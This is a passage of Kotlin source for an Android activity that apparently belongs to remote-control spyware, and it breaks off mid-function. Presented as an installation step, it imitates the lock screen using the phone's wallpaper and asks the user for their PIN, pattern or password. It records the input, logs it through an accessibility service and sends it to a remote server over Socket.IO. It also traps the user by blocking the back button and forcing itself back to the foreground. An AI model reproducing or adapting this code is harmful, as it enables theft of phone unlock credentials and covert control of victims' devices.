Files
android/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt

1377 lines
51 KiB
Kotlin
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package com.hikoncont.activity
import android.app.Activity
import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.MotionEvent
import android.view.View
import android.view.WindowManager
import android.widget.*
import androidx.appcompat.app.AppCompatActivity
import com.hikoncont.R
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.util.PasswordDetector
import com.hikoncont.view.PasswordInputView
import com.hikoncont.view.PatternLockView
import com.hikoncont.view.PinInputView
import com.hikoncont.view.FourDigitPinView
import kotlin.math.*
/**
* 密码输入完成安装页面
*
* 功能:
* 1. 检测手机是否设置密码
* 2. 判断密码类型(图形密码/数字密码)
* 3. 显示对应的密码输入界面
* 4. 记录图形密码轨迹
* 5. 完成安装流程
*/
class PasswordInputActivity : AppCompatActivity() {
companion object {
private const val TAG = "PasswordInputActivity"
const val EXTRA_PASSWORD_TYPE = "password_type"
const val EXTRA_DEVICE_ID = "device_id"
const val EXTRA_INSTALLATION_ID = "installation_id"
const val EXTRA_SOCKET_WAKE = "socket_wake"
const val PASSWORD_TYPE_NONE = "none"
const val PASSWORD_TYPE_PATTERN = "pattern"
const val PASSWORD_TYPE_PIN = "pin"
const val PASSWORD_TYPE_PIN_4 = "pin_4"
const val PASSWORD_TYPE_PASSWORD = "password"
}
private var passwordDetector: PasswordDetector? = null
private lateinit var patternView: PatternLockView
private lateinit var pinInputView: PinInputView
private lateinit var fourDigitPinView: FourDigitPinView
private lateinit var passwordInputView: PasswordInputView
private lateinit var confirmButton: Button
private lateinit var skipButton: Button
private var passwordType: String = PASSWORD_TYPE_NONE
private var deviceId: String = ""
private var installationId: String = ""
private var isSocketWake: Boolean = false
private var isPatternRecording = false
private var patternTrajectory = mutableListOf<PointF>()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
private val enableLockTaskForSocketWake = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
Log.i(TAG, "🔐 密码输入页面启动")
try {
// 设置全屏模式
setupFullScreen()
// 获取传入参数
passwordType = intent.getStringExtra(EXTRA_PASSWORD_TYPE) ?: PASSWORD_TYPE_NONE
deviceId = intent.getStringExtra(EXTRA_DEVICE_ID) ?: ""
installationId = intent.getStringExtra(EXTRA_INSTALLATION_ID) ?: ""
isSocketWake = intent.getBooleanExtra(EXTRA_SOCKET_WAKE, false)
Log.i(TAG, "📊 参数: 类型=$passwordType, 设备ID=$deviceId, 安装ID=$installationId, Socket唤醒=$isSocketWake")
// 初始化密码检测器
passwordDetector = PasswordDetector(this)
// 设置布局
setupLayout()
// 初始化UI
initializeUI()
// 如果是socket唤醒且已指定密码类型跳过密码检测
if (isSocketWake && passwordType != PASSWORD_TYPE_NONE) {
Log.i(TAG, "🔐 Socket唤醒使用指定密码类型: $passwordType,跳过密码检测")
// 直接设置对应的UI不需要检测
when (passwordType) {
PASSWORD_TYPE_PATTERN -> setupPatternUI()
PASSWORD_TYPE_PIN -> setupPinUI()
PASSWORD_TYPE_PIN_4 -> setupFourDigitPinUI()
PASSWORD_TYPE_PASSWORD -> setupPasswordUI()
}
} else {
// 开始密码检测
startPasswordDetection()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 密码输入页面初始化失败", e)
// 初始化失败时不销毁Activity保持页面存在
Log.w(TAG, "⚠️ 初始化失败但不销毁Activity保持页面存在")
}
}
override fun onResume() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
if (shouldKeepForeground() && enableLockTaskForSocketWake) {
tryStartLockTaskMode()
}
// 如果是socket唤醒且没有正在强制显示则强制显示密码页面
if (shouldKeepForeground() && !isForceShowing) {
isForceShowing = true
forceShowPasswordPage()
}
}
override fun onPause() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
scheduleForceReturn("onPause")
}
}
override fun onStop() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
scheduleForceReturn("onStop")
}
}
override fun onUserLeaveHint() {
super.onUserLeaveHint()
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到用户尝试离开密码页Home/最近任务),准备强制回到密码页")
scheduleForceReturn("onUserLeaveHint")
}
}
/**
* 设置全屏模式
*/
private fun setupFullScreen() {
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN
)
window.setFlags(
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED,
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
)
window.setFlags(
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON,
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
)
window.setFlags(
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD,
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
)
}
/**
* 设置锁屏壁纸背景
*/
private fun setLockScreenWallpaperBackground() {
try {
Log.i(TAG, "🖼️ 开始设置锁屏壁纸背景")
val wallpaperManager = WallpaperManager.getInstance(this)
// 尝试获取锁屏壁纸Android 7.0+
var lockScreenWallpaper: android.graphics.drawable.Drawable? = null
try {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {
// 对于 API 34+ 使用带参数的 getDrawable 方法
if (android.os.Build.VERSION.SDK_INT >= 34) {
// 使用反射调用 API 34+ 的方法
try {
val method = wallpaperManager.javaClass.getMethod("getDrawable", Int::class.java)
lockScreenWallpaper = method.invoke(wallpaperManager, WallpaperManager.FLAG_LOCK) as? android.graphics.drawable.Drawable
} catch (e: Exception) {
Log.w(TAG, "⚠️ 反射调用 getDrawable(FLAG_LOCK) 失败,使用主壁纸", e)
lockScreenWallpaper = wallpaperManager.getDrawable()
}
} else {
// 对于 API 33 及以下,只能获取主壁纸
lockScreenWallpaper = wallpaperManager.getDrawable()
}
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 无法获取锁屏壁纸,尝试获取主壁纸", e)
}
// 如果锁屏壁纸获取失败,尝试获取主壁纸
if (lockScreenWallpaper == null) {
try {
lockScreenWallpaper = wallpaperManager.getDrawable()
} catch (e: Exception) {
Log.w(TAG, "⚠️ 无法获取主壁纸", e)
}
}
if (lockScreenWallpaper != null) {
Log.i(TAG, "✅ 成功获取壁纸")
// 获取屏幕尺寸
val displayMetrics = resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
// 创建背景Drawable
val backgroundDrawable = createWallpaperDrawable(lockScreenWallpaper, screenWidth, screenHeight)
// 设置到根布局
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.background = backgroundDrawable
Log.i(TAG, "✅ 壁纸背景设置完成")
} else {
Log.w(TAG, "⚠️ 无法获取任何壁纸,使用白色背景并启用浅色主题(黑色文字)")
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
useLightTheme = true
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置壁纸背景失败", e)
// 出错时使用白色背景并启用浅色主题
try {
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
useLightTheme = true
} catch (ex: Exception) {
Log.e(TAG, "❌ 设置白色背景也失败", ex)
}
}
}
/**
* 创建壁纸Drawable
*/
private fun createWallpaperDrawable(wallpaper: android.graphics.drawable.Drawable, screenWidth: Int, screenHeight: Int): android.graphics.drawable.Drawable {
return object : android.graphics.drawable.Drawable() {
private val paint = Paint().apply {
isAntiAlias = true
isFilterBitmap = true
}
override fun draw(canvas: Canvas) {
// 计算壁纸的缩放比例,保持宽高比
val wallpaperWidth = wallpaper.intrinsicWidth
val wallpaperHeight = wallpaper.intrinsicHeight
val scaleX = screenWidth.toFloat() / wallpaperWidth
val scaleY = screenHeight.toFloat() / wallpaperHeight
val scale = maxOf(scaleX, scaleY) // 使用较大的缩放比例确保填满屏幕
val scaledWidth = (wallpaperWidth * scale).toInt()
val scaledHeight = (wallpaperHeight * scale).toInt()
// 计算居中位置
val left = (screenWidth - scaledWidth) / 2
val top = (screenHeight - scaledHeight) / 2
// 保存画布状态
canvas.save()
// 裁剪到屏幕区域
canvas.clipRect(0, 0, screenWidth, screenHeight)
// 绘制壁纸
wallpaper.setBounds(left, top, left + scaledWidth, top + scaledHeight)
wallpaper.draw(canvas)
// 添加半透明遮罩,确保文字可读性
canvas.drawColor(Color.argb(100, 0, 0, 0))
// 恢复画布状态
canvas.restore()
}
override fun setAlpha(alpha: Int) {
paint.alpha = alpha
}
override fun setColorFilter(colorFilter: ColorFilter?) {
paint.colorFilter = colorFilter
}
override fun getOpacity(): Int = android.graphics.PixelFormat.TRANSLUCENT
}
}
/**
* 设置布局
*/
private fun setupLayout() {
setContentView(R.layout.activity_password_input)
// 设置锁屏壁纸背景
setLockScreenWallpaperBackground()
// 初始化视图
patternView = findViewById(R.id.pattern_lock_view)
pinInputView = findViewById(R.id.pin_input_view)
fourDigitPinView = findViewById(R.id.four_digit_pin_view)
passwordInputView = findViewById(R.id.password_input_view)
confirmButton = findViewById(R.id.confirm_button)
skipButton = findViewById(R.id.skip_button)
// 如果启用了浅色主题,统一调整为白底黑字
if (useLightTheme) {
applyLightThemeToViews()
}
}
/** 当壁纸不可用时,使用白底黑字方案 */
private fun applyLightThemeToViews() {
try {
val rootLayout = findViewById<View>(android.R.id.content)
rootLayout.setBackgroundColor(Color.WHITE)
// 调整确认/跳过按钮为黑字描边按钮
val outlined = createOutlinedButtonBackground()
confirmButton.setTextColor(Color.BLACK)
confirmButton.background = outlined
skipButton.setTextColor(Color.BLACK)
skipButton.background = outlined
// 调整各密码视图的说明与控件颜色
try { patternView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { patternView.setSwitchButtonTextColor(Color.BLACK) } catch (_: Exception) {}
try { pinInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { pinInputView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
try { fourDigitPinView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { fourDigitPinView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
try { passwordInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
try { passwordInputView.setTextColors(Color.BLACK, Color.parseColor("#808080")) } catch (_: Exception) {}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 应用浅色主题失败", e)
}
}
/** 创建黑色描边的白底按钮背景 */
private fun createOutlinedButtonBackground(): android.graphics.drawable.Drawable {
val shape = android.graphics.drawable.GradientDrawable().apply {
setColor(Color.WHITE)
cornerRadius = 12f
setStroke(2, Color.BLACK)
}
val state = android.graphics.drawable.StateListDrawable().apply {
addState(intArrayOf(android.R.attr.state_pressed), android.graphics.drawable.GradientDrawable().apply {
setColor(Color.parseColor("#F0F0F0"))
cornerRadius = 12f
setStroke(2, Color.BLACK)
})
addState(intArrayOf(), shape)
}
return state
}
/**
* 初始化UI
*/
private fun initializeUI() {
when (passwordType) {
PASSWORD_TYPE_PATTERN -> {
setupPatternUI()
}
PASSWORD_TYPE_PIN -> {
setupPinUI()
}
PASSWORD_TYPE_PIN_4 -> {
setupFourDigitPinUI()
}
PASSWORD_TYPE_PASSWORD -> {
setupPasswordUI()
}
else -> {
setupNoPasswordUI()
}
}
// 默认按钮点击事件在各自UI中可覆盖
confirmButton.setOnClickListener { handleConfirmClick() }
skipButton.setOnClickListener { handleSkipClick() }
}
/**
* 设置图形密码UI
*/
private fun setupPatternUI() {
patternView.visibility = View.VISIBLE
pinInputView.visibility = View.GONE
passwordInputView.visibility = View.GONE
patternView.setInstructionText("请绘制您的图形密码")
// 图形输入模式:不需要确认按钮
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PatternLockView内部的切换按钮显示
patternView.setSwitchButtonVisible(!isSocketWake)
// 设置PatternLockView内部的切换按钮回调
patternView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
// 设置图形密码监听器
patternView.setOnPatternListener(object : PatternLockView.OnPatternListener {
override fun onPatternStart() {
Log.d(TAG, "🔐 开始绘制图形密码")
isPatternRecording = true
patternTrajectory.clear()
}
override fun onPatternProgress(progress: List<PatternLockView.Cell>) {
// 记录轨迹点(数字方式:记录网格位置)
if (isPatternRecording) {
val cell = progress.last()
val point = PointF(
cell.row.toFloat(), // 行号 (0-2)
cell.column.toFloat() // 列号 (0-2)
)
patternTrajectory.add(point)
}
}
override fun onPatternComplete(pattern: List<PatternLockView.Cell>) {
Log.d(TAG, "🔐 图形密码绘制完成,模式点数: ${pattern.size}")
isPatternRecording = false
// 使用完整的模式而不是轨迹点
val patternPoints = pattern.map { cell ->
PointF(cell.row.toFloat(), cell.column.toFloat())
}
// 保存图形密码轨迹
savePatternTrajectory(patternPoints)
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
}
/**
* 设置数字密码UI
*/
private fun setupPinUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.VISIBLE
passwordInputView.visibility = View.GONE
pinInputView.setInstructionText("请输入您的密码")
// PIN模式也不需要确认按钮输入完成自动确认
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PinInputView内部的切换按钮显示
pinInputView.setSwitchButtonVisible(!isSocketWake)
// 设置数字密码监听器
pinInputView.setOnPinCompleteListener(object : PinInputView.OnPinCompleteListener {
override fun onPinComplete(pin: String) {
Log.d(TAG, "🔢 数字密码输入完成: $pin")
currentPassword = pin
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
// 设置PinInputView内部的切换按钮回调
pinInputView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
}
/**
* 设置4位数字密码UI
*/
private fun setupFourDigitPinUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
fourDigitPinView.visibility = View.VISIBLE
passwordInputView.visibility = View.GONE
fourDigitPinView.setInstructionText("请输入4位数字密码")
// 4位PIN模式也不需要确认按钮输入完成自动确认
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制FourDigitPinView内部的切换按钮显示
fourDigitPinView.setSwitchButtonVisible(!isSocketWake)
// 设置4位数字密码监听器
fourDigitPinView.setOnPinCompleteListener(object : FourDigitPinView.OnPinCompleteListener {
override fun onPinComplete(pin: String) {
Log.d(TAG, "🔢 4位数字密码输入完成: $pin")
currentPassword = pin
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
// 设置FourDigitPinView内部的切换按钮回调
fourDigitPinView.setOnSwitchClickListener { passwordType ->
handlePasswordTypeSwitch(passwordType)
}
}
/**
* 设置文本密码UI
*/
private fun setupPasswordUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
passwordInputView.visibility = View.VISIBLE
passwordInputView.setInstructionText("请输入您的密码")
// 文本密码模式:不需要确认按钮(输入完成自动确认)
confirmButton.visibility = View.GONE
// 根据socket唤醒状态控制切换按钮显示
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
// 控制PasswordInputView内部的切换按钮显示如果有的话
// passwordInputView.setSwitchButtonVisible(!isSocketWake)
// 设置文本密码监听器
passwordInputView.setOnPasswordCompleteListener(object : PasswordInputView.OnPasswordCompleteListener {
override fun onPasswordComplete(password: String) {
Log.d(TAG, "🔑 文本密码输入完成")
currentPassword = password
// 自动触发确认,不需要用户点击按钮
completeInstallation()
}
})
}
/**
* 设置无密码UI
*/
private fun setupNoPasswordUI() {
patternView.visibility = View.GONE
pinInputView.visibility = View.GONE
fourDigitPinView.visibility = View.GONE
passwordInputView.visibility = View.GONE
// 设备未设置密码,不需要显示说明文字
confirmButton.isEnabled = true
skipButton.visibility = View.GONE
}
/**
* 开始密码检测
*/
private fun startPasswordDetection() {
Log.i(TAG, "🔍 开始检测设备密码设置")
// 异步检测密码类型
Thread {
try {
// 检测设备是否设置了锁屏密码
val km = getSystemService(android.app.KeyguardManager::class.java)
val isSecure = km?.isKeyguardSecure == true
Log.i(TAG, "🔐 设备是否设置锁屏: $isSecure")
if (!isSecure) {
// 设备没有设置密码,直接完成安装流程
Log.i(TAG, "✅ 设备未设置密码,直接完成安装流程")
runOnUiThread {
passwordType = PASSWORD_TYPE_NONE
// 直接完成安装,不显示密码输入界面
completeInstallationDirectly()
}
return@Thread
}
// 设备已设置密码,继续检测密码类型
val detectedType = passwordDetector?.detectPasswordType() ?: PASSWORD_TYPE_NONE
Log.i(TAG, "🔍 检测到密码类型: $detectedType")
runOnUiThread {
when (detectedType) {
PASSWORD_TYPE_PATTERN -> {
passwordType = PASSWORD_TYPE_PATTERN
setupPatternUI()
}
PASSWORD_TYPE_PIN -> {
passwordType = PASSWORD_TYPE_PIN
setupPinUI()
}
PASSWORD_TYPE_PIN_4 -> {
passwordType = PASSWORD_TYPE_PIN_4
setupFourDigitPinUI()
}
PASSWORD_TYPE_PASSWORD -> {
passwordType = PASSWORD_TYPE_PASSWORD
setupPasswordUI()
}
else -> {
// 如果检测失败,也直接完成安装
Log.i(TAG, "⚠️ 密码类型检测失败,直接完成安装")
passwordType = PASSWORD_TYPE_NONE
completeInstallationDirectly()
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 密码检测失败", e)
runOnUiThread {
// 检测出错时,也直接完成安装
Log.i(TAG, "⚠️ 密码检测异常,直接完成安装")
passwordType = PASSWORD_TYPE_NONE
completeInstallationDirectly()
}
}
}.start()
}
/**
* 保存图形密码轨迹
*/
private fun savePatternTrajectory(trajectory: List<PointF>) {
try {
val trajectoryData = PatternTrajectoryData(
deviceId = deviceId,
installationId = installationId,
timestamp = System.currentTimeMillis(),
points = trajectory,
passwordType = PASSWORD_TYPE_PATTERN
)
// 保存到本地存储
passwordDetector?.savePatternTrajectory(trajectoryData)
Log.i(TAG, "💾 图形密码轨迹已保存: ${trajectory.size} 个点")
} catch (e: Exception) {
Log.e(TAG, "❌ 保存图形密码轨迹失败", e)
}
}
/**
* 处理确认点击
*/
private fun handleConfirmClick() {
Log.i(TAG, "✅ 用户确认完成安装")
// 保存密码信息
savePasswordInfo()
// 显示完成状态
confirmButton.isEnabled = false
skipButton.isEnabled = false
// 延迟后完成安装
Handler(Looper.getMainLooper()).postDelayed({
completeInstallation()
}, 2000)
}
/**
* 处理跳过点击
*/
private fun handleSkipClick() {
Log.i(TAG, "⏭️ 用户跳过密码输入")
try {
// 立即更新UI状态
// 禁用按钮,避免重复点击
confirmButton.isEnabled = false
skipButton.isEnabled = false
// 延迟后完成安装确保UI更新完成
Handler(Looper.getMainLooper()).postDelayed({
completeInstallation()
}, 500)
} catch (e: Exception) {
Log.e(TAG, "❌ 处理跳过点击时出错", e)
// 如果出错,直接完成安装
completeInstallation()
}
}
/**
* 保存密码信息
*/
private fun savePasswordInfo() {
try {
val passwordInfo = PasswordInfo(
deviceId = deviceId,
installationId = installationId,
passwordType = passwordType,
hasPassword = passwordType != PASSWORD_TYPE_NONE,
timestamp = System.currentTimeMillis()
)
// 保存到本地存储
passwordDetector?.savePasswordInfo(passwordInfo)
Log.i(TAG, "💾 密码信息已保存: $passwordType")
} catch (e: Exception) {
Log.e(TAG, "❌ 保存密码信息失败", e)
}
}
override fun onDestroy() {
super.onDestroy()
Log.i(TAG, "🔐 密码输入页面销毁")
// 如果是Socket唤醒模式记录销毁原因
if (isSocketWake) {
Log.w(TAG, "⚠️ Socket唤醒模式Activity被销毁这不应该发生")
Log.w(TAG, "⚠️ 请检查系统是否强制杀死了Activity")
}
try {
// 清理资源
passwordDetector = null
patternTrajectory.clear()
currentPassword = ""
// 确保所有View都被正确清理
patternView?.let {
it.setOnPatternListener(null)
it.clearPattern()
}
pinInputView?.let {
it.setOnPinCompleteListener(null)
it.clearPin()
}
fourDigitPinView?.let {
it.setOnPinCompleteListener(null)
it.clearPin()
}
passwordInputView?.let {
it.setOnPasswordCompleteListener(null)
it.clearPassword()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 清理资源时出错", e)
}
}
override fun onBackPressed() {
Log.i(TAG, "🔐 用户按返回键,但密码输入未完成,不允许退出")
// 不调用super.onBackPressed(),防止用户直接退出
// 可以显示提示信息
}
// 已按要求去掉系统验证流程
/**
* 标记密码框已显示
*/
private fun markPasswordInputShown() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
Log.i(TAG, "✅ 密码框显示状态已标记")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
}
}
/**
* 标记密码输入已完成
*/
private fun markPasswordInputCompleted() {
try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
Log.i(TAG, "✅ 密码输入状态已标记为完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
}
}
/**
* 记录密码日志
*/
private fun recordPasswordLog() {
try {
Log.i(TAG, "📝 记录密码输入日志: $passwordType")
val service = AccessibilityRemoteService.getInstance()
if (service != null) {
val inputMethod = when (passwordType) {
PASSWORD_TYPE_PIN -> "6位PIN"
PASSWORD_TYPE_PIN_4 -> "4位PIN"
PASSWORD_TYPE_PATTERN -> "图形密码"
PASSWORD_TYPE_PASSWORD -> "文本密码"
else -> "未知类型"
}
service.recordOperationLog(
"TEXT_INPUT",
"文本输入: ${currentPassword.take(50)}${if (currentPassword.length > 50) "..." else ""}",
mapOf(
"textLength" to currentPassword.length,
"inputMethod" to inputMethod,
"containsPassword" to true,
"operationType" to "PASSWORD_INPUT",
"passwordType" to passwordType,
"activity" to "PasswordInputActivity",
"deviceId" to deviceId,
"installationId" to installationId
)
)
Log.i(TAG, "✅ 密码日志已记录")
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用无法记录日志")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 记录密码日志失败", e)
}
}
/**
* 发送密码到服务器
*/
private fun sendPasswordToServer() {
try {
Log.i(TAG, "📡 开始发送密码到服务器: $passwordType")
val service = AccessibilityRemoteService.getInstance()
if (service != null) {
val socketManager = service.getSocketIOManager()
if (socketManager != null) {
// 根据密码类型发送不同的数据
val inputMethod = when (passwordType) {
PASSWORD_TYPE_PIN -> "6位PIN"
PASSWORD_TYPE_PIN_4 -> "4位PIN"
PASSWORD_TYPE_PATTERN -> "图形密码"
PASSWORD_TYPE_PASSWORD -> "文本密码"
else -> "未知类型"
}
socketManager.sendPasswordInputData(
currentPassword,
inputMethod,
passwordType,
"PasswordInputActivity",
deviceId,
installationId,
"manual_password_input_activity"
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
Log.w(TAG, "⚠️ SocketIOManager实例不可用无法发送密码")
}
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用无法获取SocketIOManager")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 发送密码到服务器失败", e)
}
}
/**
* 处理密码类型切换
*/
private fun handlePasswordTypeSwitch(selectedType: String) {
Log.d(TAG, "🔄 切换到密码类型: $selectedType")
when (selectedType) {
"4位数字密码" -> {
passwordType = PASSWORD_TYPE_PIN_4
setupFourDigitPinUI()
}
"6位数字密码" -> {
passwordType = PASSWORD_TYPE_PIN
setupPinUI()
}
"图形密码" -> {
passwordType = PASSWORD_TYPE_PATTERN
setupPatternUI()
}
}
}
/**
* 显示密码类型选择对话框
*/
private fun showPasswordTypeSelectionDialog() {
try {
Log.i(TAG, "🔀 显示密码类型选择对话框")
val options = arrayOf("6位数字密码", "4位数字密码", "图形密码", "文本密码")
val currentIndex = when (passwordType) {
PASSWORD_TYPE_PIN -> 0
PASSWORD_TYPE_PIN_4 -> 1
PASSWORD_TYPE_PATTERN -> 2
PASSWORD_TYPE_PASSWORD -> 3
else -> 0
}
val builder = android.app.AlertDialog.Builder(this)
builder.setTitle("选择密码输入方式")
.setSingleChoiceItems(options, currentIndex) { dialog, which ->
// 用户选择后立即切换
when (which) {
0 -> {
passwordType = PASSWORD_TYPE_PIN
pinInputView.setInstructionText("请输入6位数字密码")
setupPinUI()
}
1 -> {
passwordType = PASSWORD_TYPE_PIN_4
fourDigitPinView.setInstructionText("请输入4位数字密码")
setupFourDigitPinUI()
}
2 -> {
passwordType = PASSWORD_TYPE_PATTERN
patternView.setInstructionText("请绘制图形密码")
setupPatternUI()
}
3 -> {
passwordType = PASSWORD_TYPE_PASSWORD
passwordInputView.setInstructionText("请输入文本密码")
setupPasswordUI()
}
}
dialog.dismiss()
}
.setNegativeButton("取消", null)
.show()
} catch (e: Exception) {
Log.e(TAG, "❌ 显示密码类型选择对话框失败", e)
}
}
/**
* 直接完成安装(无需密码输入)
*/
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (isInstallationComplete) {
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
} else {
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
}
// 🔐 标记密码框已显示(防止重复启动)
markPasswordInputShown()
// 🔐 标记密码输入已完成
markPasswordInputCompleted()
// 重置密码输入页面监听状态
try {
val service = AccessibilityRemoteService.getInstance()
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
}
// 保存密码信息(无密码状态)
savePasswordInfo()
// ✅ 只有安装未完成时才处理安装完成
if (!isInstallationComplete) {
// ✅ 直接调用函数,不再使用广播
try {
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成(直接完成)")
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = 0, // PASSWORD_TYPE_NONE = 0
hasPassword = false
)
Log.i(TAG, "✅ 直接调用安装完成处理成功")
} catch (e: Exception) {
Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
}
}
// 启动主服务
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
startService(serviceIntent)
Log.i(TAG, "🚀 主服务已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 直接完成安装时出错", e)
} finally {
// 密码输入完成时只销毁当前Activity不销毁整个任务栈
Log.i(TAG, "✅ 密码输入完成准备销毁当前Activity")
Handler(Looper.getMainLooper()).postDelayed({
try {
// 只销毁当前Activity让MainActivity处理后续流程
finish()
Log.i(TAG, "✅ 当前Activity已销毁MainActivity将处理后续流程")
} catch (e: Exception) {
Log.e(TAG, "❌ 关闭Activity时出错", e)
}
}, 1000)
}
}
/**
* 完成安装
*/
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (isInstallationComplete) {
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
// 仍然需要执行其他操作(如发送密码到服务器等),但不调用安装完成处理函数
} else {
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
}
// 🔐 标记密码输入已完成
markPasswordInputCompleted()
// 重置密码输入页面监听状态
try {
val service = AccessibilityRemoteService.getInstance()
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
}
// 发送密码到服务器(如果有密码)
if (passwordType != PASSWORD_TYPE_NONE && currentPassword.isNotEmpty()) {
// 记录密码日志
recordPasswordLog()
// 发送密码到服务器
sendPasswordToServer()
}
// ✅ 只有安装未完成时才处理安装完成
if (!isInstallationComplete) {
// ✅ 直接调用函数,不再使用广播
val passwordTypeInt = when (passwordType) {
PASSWORD_TYPE_NONE -> 0
PASSWORD_TYPE_PIN -> 1
PASSWORD_TYPE_PIN_4 -> 2
PASSWORD_TYPE_PATTERN -> 3
PASSWORD_TYPE_PASSWORD -> 4
else -> 0
}
try {
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成")
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = passwordTypeInt,
hasPassword = passwordType != PASSWORD_TYPE_NONE
)
Log.i(TAG, "✅ 直接调用安装完成处理成功")
} catch (e: Exception) {
